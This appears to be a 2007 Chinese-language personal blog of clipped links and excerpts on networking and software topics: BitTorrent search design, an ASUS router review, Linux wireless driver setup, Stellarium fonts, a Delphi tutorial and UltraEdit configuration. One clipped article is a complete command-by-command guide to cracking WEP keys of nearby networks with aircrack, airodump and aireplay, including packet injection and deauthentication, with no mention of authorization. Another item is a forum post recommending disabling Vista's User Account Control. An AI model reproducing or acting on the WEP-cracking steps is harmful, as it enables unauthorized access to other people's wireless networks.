2007年4月14日 星期六

透視BT(四)──為什麼BT沒有內建搜尋功能? « Mr./Ms. Days - 網路, 資訊, �

透視BT(四)──為什麼BT沒有內建搜尋功能? « Mr./Ms. Days - 網路, 資訊, �:

所以P2P式的下載環境就沒辦法兼顧有效率的搜尋方式, 同時避免被告的風險嗎? 為解決這個問題, 出現了現在大家所熟知的KaZaA 以及 eMule. 這兩種檔案分享軟體的作法處於上述兩者中間, 兼顧了主從式的搜尋架構, 以及純P2P式不因單一伺服器故障就整個系統掛掉的優點. 這種方法稱之為: 混合式P2P (Hybrid P2P)

相信看到這個圖就很好理解了吧! 在混合式P2P架構中, 存在著一批伺服器. 每一台伺服器服務一部分的使用者. 當使用者想找檔案時, 伺服器先找找看自己手上的名單中有沒有符合的, 同時也順便問問其他伺服器有沒有看過這個檔案. 這種做法稱為混合式的原因是, 說它是主從式嘛…伺服器間是以純P2P的方式合作, 說是純P2P嘛, 又存在著一般使用者與伺服器的分野, 彼此不能互換. 因為難以界定到底是哪種, 所以被稱為混合式. 混合式P2P算是兼顧了主從式架構在搜尋上的效率, 也舒緩了單一伺服器的效能瓶頸. 如果其中某一台伺服器掛了, 至少還有別台當候補. 混合式P2P好處眾多, 也因此成為eDonkey, eMule, KaZaA等軟體的主要架構, 但唯一的缺點就是, 還是需要相當多的資源, 才能架起一台伺服器.

那麼BT現在發展出的DHT技術呢? DHT技術也是一種純P2P式的機制, 目的在把Tracker(仔細想想會發現, 這是BT中唯一以主從式架構設計的東西)架空, 變成完全由使用者分擔紀錄使用者名單的機制 : 每個人分別紀錄一些名單, 連線時只要先找到一個人就可以逐漸得到所有人的名字. 由於有些超級使用者總是在線上, 參與下載的BT檔又多, 因此手上有各種BT檔的參與成員名單, 隱隱然有一點eMule伺服器的味道, 那透過搜尋這些超級使用者手上的BT紀錄來實現搜尋功能呢? 嗯, 這是個可行的做法, 但是還需要一段時間的發展, 畢竟在BT裡面並沒有針對搜尋來做最佳化的演算法: 如何有效率的儲存每個人手上的BT人員名單? 用什麼方法來搜尋超級使用者(派出螞蟻雄兵在超級使用者家門口敲門, 超級使用者家會被塞爆唷, 真正厲害的搜尋法不用派出那麼多人就可以找到想要的資訊了)? 甚或是怎麼判定哪些人是超級使用者… 這些問題若沒有好的解答, 那BT在搜尋這方面就還有很長的路要走.

高速無線飆網—華碩WL-520G-OC超頻者天堂-給您最IN的文章-試用報告-

高速無線飆網—華碩WL-520G-OC超頻者天堂-給您最IN的文章-試用報告-
前面提到這台WL-520G的其中一項特色便是省卻繁複的設定,利用EZSetup工具軟體及快速鍵,就可以快速將無線網路設定完成。小編以內建網卡的筆記型電腦作為client端,首先將安裝光碟放入,安裝華碩無線路由器應用程式。


EZSetup軟體安裝畫面

  將 軟體安裝好以後,啟動ASUS Utility中的EZSetup Wizard,就可以看到右下小圖的畫面,畫面上清楚的以圖示標明了硬體安裝的方式,使用者可以再次確認是否已照著該模式安裝完成。接著先長按WL- 520G背後的EZSetup鍵,等到Power燈開始閃爍,再將滑鼠移到client端的EZSetup圖示上按一下,系統就會開始搜尋無線網路設備, 只要跟著這個EZSetup的軟體Step-by-Step一步步來,就可以很快的將無線區域網路設定完成。

紅色的EZSetup鍵特寫

進入EZSetup畫面(點圖放大)


按下右上方小圖的EZSetup圖示後,無線網路搜尋連結設定中的畫面

  當client端與AP間的無線網路連接設定成功時,我們可以看到左下小圖的畫面,表示安全的無線區域網路環境已經建立完成,按下畫面中的按鍵可以看到SSID及WEP相關訊息(請參照右下小圖),這些密碼及網路設定值可以列印或儲存起來以便未來參考用。

使用EZSetup連結完成無線網路後的畫面(點圖放大)

無線網路的相關設定資料(點圖放大)

  要經由WL-520G連上Internet,還需要設定網際網路的連線方式,先設定時區為台北GMT+8,接著選擇連線方式,看自己的連線方式是採用固接的專線、還是撥接的ADSL,或是其他連線方式,(參照左下方第一張小圖)選擇正確的上網型態,然後按照指示一步步輸入需要提供的資料(可由你的ISP取得),就可以輕易的將無線網路設定完成。

選擇Internet的連線方式,例如採用撥接式的ADSL或是纜線數據機等(點圖放大)

以選擇纜線數據機為例,這是接下來的設定畫面(點圖放大)

以選擇ADSL為例的設定畫面(點圖放大)

設定完成可以上網囉(點圖放大)

  當然,我們也可以手動來對這台Router做設定,WL-520G主要是透過Web介面來做設定,只要在瀏覽器上輸入IP分享器所在的IP位址(192.168.1.1),接著輸入預設的使用者名稱及密碼(都是admin),就可以進入WL520G的設定畫面。

WL520G的設定畫面(點圖放大)

可做WDS設定(點圖放大)
  雖然創新的EZSetup功能可以讓我們快速無障礙的連上網路,但是如果要做進階的細部設定,還是要從這個設定畫面來進行(其實玩家們也可以一開始就經由瀏覽器來對WL-520G做設定)

秘笈揭露 Ubuntu破解WEP密鑰一點不費勁_軟件_科技時代_新浪網

秘笈揭露 Ubuntu破解WEP密鑰一點不費勁_軟件_科技時代_新浪網

看了這篇文章,任何人都可以安裝 和運行Linux,並破解WEP密鑰。我一共花了整整兩天,並閱讀了大量資料才做出這個東西,現在拿出來和大家分享。我不是Linux方面的專家。你所需 要的就是一個有無線網卡的舊筆記本和一份Ubuntu Linux的拷貝,這是目前最流行並且最易於安裝的Linux發行版本之一。

第一步,很顯然,是安裝Ubuntu。從CD啟動,按指示操作,非常簡單。要注意的是,接下來的每一步都要有序進行,否則就達不到預期目標。

下載Ubuntu LTS

下一步是安裝其它程序。首先要保證你的本本可以聯網。安裝其它程序,需要打開一個終端窗口,並鍵入如下代碼:

sudo cp /etc/apt/sources.list /etc/apt/sources.list_backup
sudo gedit /etc/apt/sources.list

在編輯器中,用以下代碼代替其它東西:

## Add comments (##) in front of any line to remove it from being checked.
## Use the following sources.list at your own risk.
deb http://archive.ubuntu.com/ubuntu dapper main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu dapper main restricted universe multiverse
## MAJOR BUG FIX UPDATES produced after the final release
deb http://archive.ubuntu.com/ubuntu dapper-updates main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu dapper-updates main restricted universe multiverse
## UBUNTU SECURITY UPDATES
deb http://security.ubuntu.com/ubuntu dapper-security main restricted universe multiverse
deb-src http://security.ubuntu.com/ubuntu dapper-security main restricted universe multiverse
## BACKPORTS REPOSITORY (Unsupported. May contain illegal packages. Use at own risk.)
deb http://archive.ubuntu.com/ubuntu dapper-backports main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu dapper-backports main restricted universe multiverse
## PLF REPOSITORY (Unsupported. May contain illegal packages. Use at own risk.)
deb http://packages.freecontrib.org/ubuntu/plf dapper free non-free
deb-src http://packages.freecontrib.org/ubuntu/plf dapper free non-free

保存文件、退出編輯器。敲入如下命令:

sudo apt-get update

現在我們可以安裝後續將會用到的包了:

sudo apt-get install build-essential
sudo apt-get install aircrack
sudo apt-get install kismet
sudo apt-get install airsnort
sudo apt-get install linux-source
sudo apt-get install linux-headers
sudo apt-get install sharutils

接下來你應該更新整個系統,方法是,進入系統菜單——>Administration——>Update Manager。單擊「Check」,開始安裝更新。然後重啟系統。完成後,為Madwifi驅動打補丁。

這個地方 可能會有點複雜。我的無線網卡(Linksys WPC55AG)用的是Atheros驅動,我需要對之打補丁。如果你的驅動和我的不同,你需要研究一下是否需要為驅動打補丁,是否甚至可以和 Aircrack套件協同工作。Aircrack-ng.org的論壇是一個用來測試的好地方,當然了,google search也是的。如果你的網卡也是Atheros的,我們稱之為ath0,那麼,在終端窗口敲入iwconfig,會出現一行字符,顯示以太網控制器 是Atheros Communications……

我們來打補丁。當發現硬盤舊的驅動時,會暫時讓你的無線網卡無法工作。先進入/usr/src目錄,下載新的驅動、刪掉老驅動,然後安裝新驅動,並打上補丁。你可以把以下代碼拷貝粘貼到終端:

sudo -i
cd /usr/src
wget http://syserr.com/stuff/madwifi-cvs-20051025.tar.gz
wget http://syserr.com/stuff/madwifi-cvs-20051025.patch
ifconfig ath0 down
rmmod ath_rate_sample wlan_wep ath_rate_onoe ath_pci wlan ath_hal
find /lib/modules -name 『ath*』 -exec rm -v {} \;
find /lib/modules -name 『wlan*』 -exec rm -v {} \;
tar zxvf madwifi-cvs-20051025.tar.gz
cd madwifi
patch -Np1 -i ../madwifi-cvs-20051025.patch
make && make install
modprobe ath_pci

如果你用的是Atheros驅動,接下來我們舊需要配置kismet了。如果你用的是其它驅動,就必須看你所使用的語法。首先進入Kismet配置,然後改變源代碼行。

sudo gedit /etc/kismet/kismet.conf

把以「source=」打頭的代碼行變為「source=madwifi_ag,ath0,madwifi」,重啟計算機。重啟後你將可以通過無線網卡訪問英特網。

現在我們開始破解。打開一個終端窗口,進入監控模式,運行ksimet。

sudo airmon start ath0
sudo kismet

找到你想要破解的無線網絡,需要注意其ESSID和通道,然後敲Ctrl-C退出。

接下來運行airodump。

sudo airodump ath0 filename channel# 1

文件名隨你意,可以作為ivs文件存在你的home目錄下,或者存在你運行命令的任何目錄下。

從airodump 中拷貝無線網絡的bssid,具體做法是選中後敲Shift+Ctrl+C。打開一個新的終端窗口,以便我們可以運行aireplay,開始注入數據包, 導致數據量上升。我們想要airodump中的數據欄顯示在10萬到40萬之間。數據包越多,aircrack就可以越快地找到WEP密鑰。如果WEP密 鑰是128位的,我們可能需要多達100萬個數據包。

sudo aireplay -1 0 -e ESSID -a BSSID -h 0:1:2:3:4:5 ath0

應該把網絡和無線連接聯繫起來。如果總是超時,你需要離無線路由器更近,或通過「sudo iwconfig ath0 rate 1M」改變接口速率。

接下來我們想開始注入數據包。

sudo aireplay -3 -b BSSID -h 0:1:2:3:4:5 ath0

起初只是讀取數據包,並且報告0個ARP請求、發送0個數據包。只需要等一兩分鐘,就會開始大量發送數據包了。如果返回文本,並報告說已經被削弱了,那麼敲Ctrl+C,重新運行命令。可以通過敲入下面這條命令來加速任何事情:

sudo aireplay -0 ath0 -a BSSID ath0

否則就只坐等事情慢慢進行吧。隨著數據包開始被發送,Airodump中的數據欄就開始飆升。等到收到了預期數量的數據包,打開一個新的終端窗口,運行aircrack。

sudo aircrack filename.ivs

一分鐘後,aircrack應該返回WEP密鑰。如果沒有返回,那就繼續回收更多的數據包。

這做起來一點都不費勁,但可以起作用。

下載Ubuntu LTS

A-Nan-Blog | [線上工具]貼紙(圖片)產生器~網站彙整

A-Nan-Blog | [線上工具]貼紙(圖片)產生器~網站彙整
mrhihi.homeip.net-iconMaker

電腦玩物: 瀏覽器書籤檢查器:AM-DeadLink 3.1

電腦玩物: 瀏覽器書籤檢查器:AM-DeadLink 3.1

2007年4月13日 星期五

教學:申請與使用100GB免費空間的GoGoBox

教學:申請與使用100GB免費空間的GoGoBox

Ubuntu Paste

Ubuntu Paste: "apt-get install linux-headers-2.6.18-3-686 下载debian官方的内核"

Fedora Core 5 and ndiswrapper.-Redhat / Fedora Linux Help-Linux Forums

Fedora Core 5 and ndiswrapper.-Redhat / Fedora Linux Help-Linux Forums: "(or kernel-smp-devel for SMP kernels) to install the kernel headers that you need

But there are better ways to install ndiswrapper. You can add Livna and then do"

yum install kernel-devel

Installation - NdisWrapper

Installation - NdisWrapper: "ndiswrapper -i filename.inf"

SuSE Linux Forums > Driver For Dwl-g510

SuSE Linux Forums > Driver For Dwl-g510
ok, you have re-installed suse, with kernel sources,etc as before, best thing to do now is take your time, ensure you have all the bits necessary to compile. another thing i spotted, you have saved ndiswrapper to the desktop, not a good idea. save it to a place in your /home directory. i normally have a separate folder for downloads, makes things easier & things compile better. quick way i do it

1 ) right click the tarball & select extract to here
2 ) open the folder that was extracted.
3 ) double click in the address bar then right click & select copy
4 ) open a console & type cd then right click & select paste then press enter. you should now be in the folder.
5 ) type make & press enter. let it do it's thing.
6 ) once completed, type su & press enter. then enter root's password.
7 ) type make install & press enter. it should then install ndiswrapper.
8 ) once it is installed you then type ndiswrapper -i /path /to your/driver & press enter. driver should then be installed.
9 ) type ndiswrapper -l to confirm driver install.
10 ) type ndiswrapper -ma to install module.
11 ) type modprobe ndiswrapper & press enter & your wireless card should be initialised.
12 ) go to yast - network devices - network card & then set up your card.

see if that helps

andy

Ubuntu 正體中文站 - Ubuntu 6.10 Edgy初體驗-ADSL(pppoe)上網篇 [論壇 - Ubuntu基本設定]

Ubuntu 正體中文站 - Ubuntu 6.10 Edgy初體驗-ADSL(pppoe)上網篇 [論壇 - Ubuntu基本設定]: "設定pppoe
用指令設定最簡單囉
sudo pppoeconf
照著說明輸入帳號密碼,後面的選項都按yes即可"

Chinson's: Wireless on Ubuntu

Chinson's: Wireless on Ubuntu

2007年4月10日 星期二

科學人雜誌網站

科學人雜誌網站: "我的數位記憶
微軟開發出一套新的系統,可以將人們一生的所見所聞,全部記錄 下來,就像個人專屬的數位日記"

如何使用Gmail平台收發、管理其他Email帳號的郵件? - 【重灌狂人】

如何使用Gmail平台收發、管理其他Email帳號的郵件? - 【重灌狂人】

2007年4月9日 星期一

Eureka Dendron!!: [軟體]Stellarium - 開放源碼的星象軟體

Eureka Dendron!!: [軟體]Stellarium - 開放源碼的星象軟體
正體中文官方網站:http://www.stellarium.org/zh/

Stellarium的操作介面可以支援正體中文,下面的方法是我從PTT Ezsoft版轉載來的。文章編號是2764、作者是Daniel66

中文設定方法:
1.首先要下載中文字型,推薦這一款(王宗漢細黑體):
http://nirc.encntc.edu.tw/web/fonts/wang/v040326/wt011.ttf
2.把下載的字型檔放到 C:\Program Files\Stellarium\data
3.用記事本修改 C:\Program Files\Stellarium\config 內 config.ini 的下面兩行
base_font_size = 12
base_font_name = wt011.ttf
(↑就是字型檔的檔案名稱)
4.執行軟體,正常的話應該會看到亂碼。到設定把語系調成 zh_TW。
5.重新啟動軟體即可看到中文。


—DELPHI基礎教程—第一章 Delphi快速入門(一)

—DELPHI基礎教程—第一章 Delphi快速入門(一):
第一章 Delphi快速入門(一)

Delphi是全新的可視化編程環境,為我們提供了一種方便、快捷的Windows應用程序開發工具。它使用了Microsoft Windows圖形用戶界面的許多先進特性和設計思想,採用了彈性可重複利用的完整的面向對象程序語言(Object-Oriented Language)、當今世界上最快的編輯器、最為領先的數據庫技術。對於廣大的程序開發人員來講,使用Delphi開發應用軟件,無疑會大大地提高編程效率,而且隨著應用的深入,您將會發現編程不再是枯燥無味的工作——Delphi的每一個設計細節,都將帶給您一份欣喜。 

1.1 Delphi基本概念介紹 

1.1.1 Delphi的基本形式 

Delphi實際上是Pascal語言的一種版本,但它與傳統的Pascal語言有天壤之別。一個Delphi程序首先是應用程序框架,而這一框架正是應用程序的「骨架」。在骨架上即使沒有附著任何東西,仍可以嚴格地按照設計運行。您的工作只是在「骨架」中加入您的程序。缺省的應用程序是一個空白的窗體(Form),您可以運行它,結果得到一個空白的窗口。這個窗口具有Windows窗口的全部性質:可以被放大縮小、移動、最大最小化等,但您卻沒有編寫一行程序。因此,可以說應用程序框架通過提供所有應用程序共有的東西,為用戶應用程序的開發打下了良好的基礎。Delphi已經為您做好了一切基礎工作——程序框架就是一個已經完成的可運行應用程序,只是不處理任何事情。您所需要做的,只是在程序中加入完成您所需功能的代碼而已。

在空白窗口的背後,應用程序的框架正在等待用戶的輸入。由於您並未告訴它接收到用戶輸入後作何反應,窗口除了響應Windows的基本操作(移動、縮放等)外,它只是接受用戶的輸入,然後再忽略。DelphiWindows編程的回調、句柄處理等繁複過程都放在一個不可見的Romulam覆蓋物下面,這樣您可以不為它們所困擾,輕鬆從容地對可視部件進行編程。

1.1.2 面向對象編程的概念 

面向對象的程序設計(Object-Oriented Programming,簡記為OOP)Delphi誕生的基礎。OOP立意於創建軟件重用代碼,具備更好地模擬現實世界環境的能力,這使它被公認為是自上而下編程的優勝者。它通過給程序中加入擴展語句,把函數「封裝」進Windows編 程所必需的「對象」中。面向對象的編程語言使得複雜的工作條理清晰、編寫容易。說它是一場革命,不是對對象本身而言,而是對它們處理工作的能力而言。對象 並不與傳統程序設計和編程方法兼容,只是部分面向對象反而會使情形更糟。除非整個開發環境都是面向對象的,否則對象產生的好處還沒有帶來的麻煩多。而Delphi是完全面向對象的,這就使得Delphi成為一種觸手可及的促進軟件重用的開發工具,從而具有強大的吸引力。

一些早期的具有OOP性能的程序語言如C++,Pascal,Smalltalk等,雖然具有面向對象的特徵,但不能輕鬆地畫出可視化對象,與用戶交互能力較差,程序員仍然要編寫大量的代碼。Delphi的推出,填補了這項空白。您不必自己建立對象,只要在提供的程序框架中加入完成功能的代碼,其餘的都交給Delphi去做。欲生成漂亮的界面和結構良好的程序絲毫不必絞盡腦汁,Delphi將幫助您輕鬆地完成。它允許在一個具有真正OOP擴展的可視化編程環境中,使用它的Object Pascal語言。這種革命性的組合,使得可視化編程與面向對象的開發框架緊密地結合起來。

1.2 Delphi 快速入門 

在這一節中,我們來開發一個小程序。隨著開發的過程,逐步介紹Delphi的主要部件及其操作方法。建議讀者按照本書介紹的過程,在您的電腦上直接操作。您將對Delphi的可視化編程有一個直觀、快捷的瞭解,必將起到事半功倍的效果。

How to set up UltraEdit to work with a Java Compiler

How to set up UltraEdit to work with a Java Compiler

How to set up UltraEdit to work with Java compiler

  1. UltraEdit may be downloaded for free (45 day evaluation only) from http://www.ultraedit.com/.
    For your convenience it is made available on the network drive H:. You may use it for 45 days after you run it the first time from your account. After that time the program will refuse to work anymore.
  2. Start UltraEdit
  3. Open menu: Advanced/Tool Configuration
  4. Type in the following information to the dialog box which pops up

    For your convenience you may want to copy and paste one of the following lines into the command line text filed. Select appropriate one:
    C:\Progra~1\JAVA\bin\javac.exe -deprecation -O -classpath . %n%e
    G:\java\java2\bin\javac.exe -deprecation -O -classpath . %n%e
    G:\java\java1\bin\javac.exe -deprecation -O -classpath . %n%e

    You may choose to remove the optimization option -O or another option that enables checking against using deprecated features of old Java -deprecation. The latter, however, is not recommended
  5. Then press INSERT button.
  6. Type in the following information to the dialog box which is still being displayed.
  7. Once again, for your convenience you may want to copy and paste one of the following lines into the command line text filed. Select appropriate one:
    C:\Progra~1\JAVA\bin\java.exe -classpath . %n
    G:\java\java2\bin\java.exe -classpath . %n
    G:\java\java1\bin\java.exe -classpath . %n
  8. Then press INSERT button again.
    To modify the settings already created double click on the item listed in the lower box you want to change, modify the dialog box, and press REPLACE. Warning: pressing INSERT would duplicate the entry. Only the new entry has the modified settings.

The meaning of the %-letter

  • %f states for the complete file name of a currently edited file
  • %p states for the current directory (it might contain space characters)
  • %n states for the file name only.

Do not use capitalized %-letter because it results in a truncated old DOS (8+3 character) file name and cannot be recognized correctly by the Java compiler because of original 4-letter .java extension.

Amendments to your system

  • The actual location of your Java software may wary
  • The location used in this example is for my hard drive which is C:\progra~1\java\bin\
  • The default location of JDK2 for the EE computer labs is G:\java\java2\bin\

Re: Windows Explorer has stopped working. Windows Explorer is restarting. - Desktop reloads

After 16 hours I discovered that Microsoft's User Access Control was the source of all my Vista problems. Turn it off and everything that was stopping before, like IE, Windows Explorer, Windows Sidebar, Outlook and on and on performed beautifully!!!!

Turn User Account Control on or off

User Account Control (UAC) can help you prevent unauthorized changes to your computer. It works by prompting you for permission when a task requires administrative rights, such as installing software or changing settings that affect other users.

We don't recommend turning User Account Control off. If you do turn it off, you should turn it back on as soon as possible.

  1. Click to open User Accounts.

  2. Click Turn User Account Control on or off. If you are prompted for an administrator password or confirmation, type the password or provide confirmation.

  3. Select the Use User Account Control (UAC) to help protect your computer check box to turn on UAC, or clear the check box to turn off UAC, and then click OK.

This was after Dell recommended I format my drive, reinstall XP2 then reinstall the Vista upgrade ..... Say What?

2007年4月8日 星期日

Fonts 500

Fonts 500